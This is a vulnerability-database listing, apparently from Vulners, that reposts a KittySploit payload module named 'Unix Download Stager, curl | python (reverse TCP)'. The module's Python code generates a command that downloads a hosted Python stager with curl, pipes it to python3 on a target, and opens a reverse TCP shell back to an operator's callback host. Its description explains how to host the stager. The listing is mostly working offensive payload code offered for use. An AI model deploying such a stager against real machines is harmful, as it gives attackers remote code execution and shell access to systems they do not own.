Lucene search
+L

Unix Download Stager, curl | python (reverse TCP)

🗓️ 08 Aug 2026 21:48:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unix payload that pipes a hosted Python stager from a URL to python3 for reverse TCP.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *

from lib.c2.download_stagers import build_curl_pipe_python, build_stager_url


class Module(Payload):
    __info__ = {
        "name": "Unix Download Stager, curl | python (reverse TCP)",
        "description": (
            "Downloads a hosted Python stager from stager_url and pipes it to python3. "
            "Host the script first: save output of "
            "'generate' on payloads/singles/cmd/multi/python_thin_stager to stager.py, "
            "then run 'python -m http.server' on stager_port. "
            "Delivers a reverse_tcp session after second stage runs."
        ),
        "category": PayloadCategory.CMD,
        "platform": Platform.UNIX,
        "listener": "listeners/multi/reverse_tcp",
        "handler": Handler.REVERSE,
        "session_type": SessionType.SHELL,
    }

    lhost = OptString("127.0.0.1", "Callback host (embedded in hosted stager)", True)
    lport = OptPort(4444, "Callback port for reverse_tcp listener", True)
    stager_url = OptString(
        "",
        "Full URL of hosted Python stager (empty = http://lhost:stager_port/stager.py)",
        False,
    )
    stager_port = OptInteger(
        8000,
        "Operator HTTP port serving stager.py when stager_url is empty",
        False,
        advanced=True,
    )
    python_binary = OptString("python3", "Python interpreter on target", False)

    def generate(self):
        url = str(self.stager_url or "").strip()
        if not url:
            url = build_stager_url(str(self.lhost), int(self.stager_port or 8000), "/stager.py")
            print_info(f"stager_url not set — using {url} (host stager.py on stager_port)")
        return build_curl_pipe_python(url, str(self.python_binary or "python3"))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Aug 2026 21:48Current
5.9Medium risk
Vulners AI Score5.9
1